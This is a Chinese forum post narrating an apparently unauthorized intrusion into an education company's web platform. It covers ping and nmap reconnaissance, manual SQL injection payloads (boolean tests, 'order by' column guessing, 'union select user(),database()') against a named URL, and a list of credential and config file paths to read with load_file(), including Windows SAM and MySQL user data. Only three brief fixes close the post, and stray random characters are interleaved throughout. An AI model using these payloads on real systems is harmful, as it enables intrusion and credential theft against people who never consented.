找回密码
 立即注册
查看: 3186|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
2 ~" w( b4 s& V/ m' g一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……2 ]/ N9 \) i8 z) p! X4 R! r
第一步:获取需要的信息
, m1 [- x& _( j/ }6 Q1 Q由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
3 A4 N( z! D8 r/ X注:以下为保护特用XXX代替敏感信息8 l$ o6 F, @! d$ u0 Y) j% Z
顺手先PING了一下他们的域名:: ^7 w1 L/ p$ ?5 w0 o# ]
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)* e4 ^3 o9 |9 E* v" X
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms2 X# Y' ^' k) @2 U3 G, Y( z" w
顺便了解一下TTL,学好基础知识才能一路顺风:% P1 K$ f0 e) {2 i# O
TTL:(Time To Live ) 生存时间
- ^) v* [8 F+ }2 M指定数据包被路由器丢弃之前允许通过的网段数量。8 F: m+ P3 H% p* i: Y, ^3 [
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。, M; N5 Q3 ~# ^6 y; B
使用PING时涉及到的 ICMP 报文类型
+ m: @) V7 j0 @一个为ICMP请求回显(ICMP Echo Request)
# q1 P$ {$ Y/ H一个为ICMP回显应答(ICMP Echo Reply); N$ ]; W2 D2 n; D2 v. ^' k
TTL 字段值可以帮助我们识别操作系统类型。
$ U3 \; l) S0 w+ lUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2558 L( C1 z4 Z) r9 R
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64, u, u! c+ v4 g1 X
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
9 s$ ~# C' J1 X% m: y; d微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32" h% c  q) I% u* {" c4 o' w+ a% |$ s. G
当然,返回的TTL值是相同的
8 w$ h. H; Y' q$ ?$ ^* c0 t7 c但有些情况下有所特殊  w9 W5 T5 K4 z, r+ g4 Z( Z
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 646 j: O- ^" v% o/ v( u- \+ G
FreeBSD 4.1, 4.0, 3.4;" N5 a3 n1 E/ l0 B
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
, O3 f0 i/ `  ?" T- O) l% mOpenBSD 2.6, 2.7,
+ d9 |! x* l4 k+ vNetBSD
- B/ ^9 l2 ^; E" g7 ~, E! H8 \+ IHP UX 10.201 }  t5 ^. P% m) _8 U! B  D% q
ICMP 回显应答的 TTL 字段值为 255
* s7 r' g! e, S1 Q  C5 bWindows 95/98/98SE; t+ c; R! s; N0 y& f, u! n( d) a
Windows ME
! ^- v" h! Q- w# S- @% p1 B; B% iICMP 回显应答的 TTL 字段值为 32" r$ \; A2 Z7 t* }. o9 h
Windows NT4 WRKS. J* B4 @" y  |; K
Windows NT4 Server7 q  s( b# M% y/ Z( x: [2 w/ i
Windows 2000
" T. j. P' G1 w$ P' yWindows XP! K- l) }2 d1 Z2 k- V
ICMP 回显应答的 TTL 字段值为 128
3 X5 A, T* H1 J这样,我们就可以通过这种方法来辨别操作系统" n& Z0 u' ]1 |$ e3 g5 c
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2559 f& ~; t# z2 g5 L
用NMAP扫描一下:1 n7 f: a0 i0 o
nmap -sT -O XXX.XXX.XXX.XXX
5 j8 G9 n4 B8 j" D, Z如果没有装WinPcap则会弹出提示:
4 W* N$ F6 E; S2 s2 w+ g$ ^WARNING: Could not import all necessary WinPcap functions.  You may need to upgr& L% G; J5 G( L
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
, t- w* c0 R/ \+ x) mode — Nmap may not function completely3 U( P/ N- n- r  ~2 V9 T( v- P
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher8 S; r' h( H) c. L: j
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
4 Z5 L0 J" m) i" Upcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an. d" A3 z1 \4 m7 I2 t
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
' y7 P! Q9 r$ }9 Dersions, you may be able to take iphlpapi.dll from another system and place it i6 w6 J1 s2 |4 e, n' [$ S
n your system32 dir (e.g. c:\windows\system32).* `* E  ?; f; X. v1 l" `; m
QUITTING!
; t: Q" r4 [9 M( p4 C1 ^% |( X到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe- ^  ~) e* Z% Y$ M& K; R
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:. h- }; z- q$ y' Q' U& E6 Z
Interesting ports on XXX.XXX.XXX.XXX:
3 w" @! Q# p4 c% @7 sNot shown: 986 closed ports
1 c4 [0 `& q0 u  v2 E# s/ A3 V2 XPORT     STATE    SERVICE. y8 B! ?/ I: K  F" g
21/tcp   open     ftp
4 e7 S% D( ~0 m8 g3 Z1 G: S6 _22/tcp   open     ssh
1 j  ?7 W# F3 i  Q$ E( u0 v. I' t23/tcp   open     telnet7 g( w; G$ c6 g9 V7 E
80/tcp   open     http7 A. K3 j* P3 O0 }# j4 s2 P
111/tcp  open     rpcbind9 P# O! p% c* z
135/tcp  filtered msrpc
1 k7 t/ a  f% W' M9 f139/tcp  filtered netbios-ssn/ k. ?; h) ]0 p1 q# z! s, |
445/tcp  filtered microsoft-ds2 ~( _5 h  L. Q" p/ @- B
513/tcp  open     login
, q7 J% P$ s1 i6 J2 f8 V4 R3 Z514/tcp  open     shell. l& M0 d$ O- Y
593/tcp  filtered http-rpc-epmap8 F8 x' ?7 U) r9 _: i0 [
1720/tcp filtered H.323/Q.931
. X9 C6 x2 m& n* v! M+ g2 \5 L3306/tcp open     mysql9 ?- V9 I% H2 i3 a5 B8 j" t/ r
4444/tcp filtered krb524
+ M8 R, r/ M; V; N7 k! Q2 V+ FDevice type: WAP3 S9 j. h3 B* o
Running: Linux 2.4.X
0 c: @# v& N( b7 B1 [' uOS details: DD-WRT (Linux 2.4.35s)( D# @' n" f$ i8 F) o+ d% f* T
Network Distance: 13 hops! D" A; R4 t+ r
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:0 q2 D$ Q$ D9 n3 f1 U
login as:9 T+ ^1 q0 ~! a; q  c
Telnet23端口也是开着的,用telnet 命令链接一下:
1 E; [( p; v6 H) r' W& vtelnet XXX.XXX.XXX.XXX
! ]3 _! @: I7 F: E提示:
% T7 ?+ M+ c& f4 b' Z0 H( ERed Hat Enterprise Linux Server release 5.2 (Tikanga)& a/ p( s: m, d
Kernel 2.6.18-92.el5PAE on an i686, q7 K/ r+ e9 O6 U
login:
& j5 [# s; v) A, ~. c: d获取HTTP头信息:/ ~& r* k7 d; A# Y2 B. _2 K) A
在本地执行如下PHP代码* T* L% K5 t! g
<?php
% |8 P8 [. ?% I$ t9 B) ~8 A$url = ‘XXX.XXX.XXX.XXX’;
1 Q$ m% F2 v8 a. F! h9 l+ gprint_r(get_headers($url));
3 ?2 F4 Y+ a) m3 S8 I7 e( C9 O$ l2 P% ~* qprint_r(get_headers($url, 1));# \, g/ W0 p( Q! v( ?4 v+ J
?>- Z4 S( X2 g( o; Z& u
将以上代码保存为PHP文件,执行:
3 {7 j' L7 d1 u/ h; C5 VArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
: I1 {! T  i& A) q/ T- ^现在可以得出结论:) e6 R' M1 ^" k+ |
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)1 b, O" n. s" J/ q& K
内核版本:Kernel 2.6.18-92.el5PAE on an i686
3 |& O" [7 g/ N4 MWEB服务器版本:nginx/0.7.611 ~% y+ c6 E5 A' G
第二步,开始测试寻找漏洞
) |2 V; g+ Y7 H7 }$ s3 U" v分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
8 ~/ r1 Y+ X9 V8 }' q' U1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的* x5 Q+ z/ v- Q; v7 E, p
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
" D4 A4 W& r* g4 ?: j3 b5 ^9 \http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
/ T( o2 S5 L/ h* ]* ~6 A' S, Ihttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误8 c3 [0 _! z  |# U
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
3 R  z3 \7 k6 U$ ?3、手工注入:
7 `. ]2 V  r" d0 k+ U' [: m注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
$ I+ ^+ w8 l  W5 `3.1 猜测当前表字段数4 I* A$ a# x. p
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10( N  h! h% z8 U. S3 r
此处猜测有个简单的算法,都是有技巧的吗,呵呵
1 ]$ d8 N& E! m4 o算法简单如下:& k$ T; u5 C7 l8 L0 z, v  P
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;& o, p8 W/ B% _4 b" `% n3 Y: p* O
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;) B* i7 Z0 f$ B! w: [( U
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。$ J' {& H+ K5 i- ^" N0 {- Q
以此来判断,是否过界,配合取中算法猜出字段数。
  Q7 Y+ w, }3 x5 J/ d, g! \举例:
. t. ^% P1 K' r) i4 ghttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常6 @% M: T, l$ M
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误" R% K& h5 S' u* e; Y
此时3则为我们要找的字段数。
' \2 n' u9 u4 S! R3.2 配合union联合查询字段在页面所位置
! I4 }: L! s; ^9 I4 {我们已经知道了字段数为3,此时则可以做如下操作:
# Z5 y: o& b& @, X7 bhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
) }) o; P- p4 _7 n# ?: v, N' n6 f% g; n: N
这样就可以测试到哪些字段在页面上有所显示了,如图:
; W- K0 p4 Z! q3 ~$ T0 K) q( c* n
+ L8 \3 n) u2 r1 }$ R& @6 h. g3 X* p3.3 查敏感信息
. Z" m& v' k0 R- s" H这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。/ G6 i$ P9 _+ v2 \* N! B
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
" R7 O5 A5 i# ]3.3.1 先查数据库用户、数据库名,以备后用,如图:" g5 l' G, [' ]* L  t2 y
" [8 a, h2 B; b: G/ k  H# r" ^
得到数据库用户为root、数据库名为DBxx;
. f7 y* M& [- x( e2 Z5 R  R" r3.3.2 查配置文件
7 d! n" O9 ]+ p6 p1 b  S1 p; @, x查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
3 w, o  f- ~% \1 p( \0 z" F6 ^查看文件有一定的条件限制:
7 T! d+ ?: H8 ^8 @& p$ `" K欲读取文件必须在服务器上
6 C; h+ V' C4 @5 z" W+ s& D必须指定文件完整的路径4 ^5 [0 r2 C8 j! L( i) q
必须有权限读取并且文件必须完全可读2 P0 r3 A- }: D0 B# J! q
欲读取文件必须小于 max_allowed_packet
" }5 K$ V! J7 y7 d$ e+ `  p* c, aMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
- j: ~( g- T0 c常用的一些:
% p0 A0 E6 ~, M/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
% R! G: T2 W% g" `/usr/local/apache2/conf/httpd.conf5 f! X; ?9 x( Y. L% N: F
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
, a+ {) n8 ]7 L  \, f/usr/local/app/php5/lib/php.ini //PHP相关设置9 e9 p) `* N" I
/etc/sysconfig/iptables //从中得到防火墙规则策略* y9 f/ [' Q8 {& G: Q% n) C( y
/etc/httpd/conf/httpd.conf // apache配置文件3 O" H/ M: U, J, G1 ~
/etc/rsyncd.conf //同步程序配置文件
/ F; {1 R0 m, M0 S" A6 O/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
# p5 B, @! l( O& Z4 @/etc/my.cnf //mysql的配置文件1 D/ u4 q* ]% ^
/etc/redhat-release //系统版本
3 J. e0 [2 l' K8 O' _0 W3 b/etc/issue% b0 p# m& R& X; `( ?% A( T
/etc/issue.net
: Y& b' W6 |- bc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
* E8 Q" a* v% G2 C  z, Oc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
7 K9 ~/ c  b! L# E- {' `3 Q) ~( Xc:\Program Files\Serv-U\ServUDaemon.ini* `! A0 ]! h( r# V* F
c:\windows\my.ini //MYSQL配置文件# X  C- r% A, H- u
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件7 K- i" N4 v1 u3 X* z( T
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
) c9 K  O, S: _1 h# Uc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码! c, A  b# v  _% W3 B
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
! y0 D6 f3 g& L! B. Vc:\Program Files\RhinoSoft.com\ServUDaemon.exe
, h$ e; e3 l+ e5 s- b$ F! K& SC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件% y- Q# K, x1 D( a1 f; @
//存储了pcAnywhere的登陆密码
. S8 b# ]6 N" V5 K# h由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
/ _- o8 n& y2 ?2 h: I* g+ S这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。4 N1 W' q; D: l8 c
最后:防范措施/ Y! l. D% R7 N2 g- @$ z) Z
1、修复PHP注入漏洞;
6 l8 X. `% d5 V8 q& Z5 x) p& f2、Mysql使用普通权限的用户;7 O* Z$ H* X& A3 O/ n
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表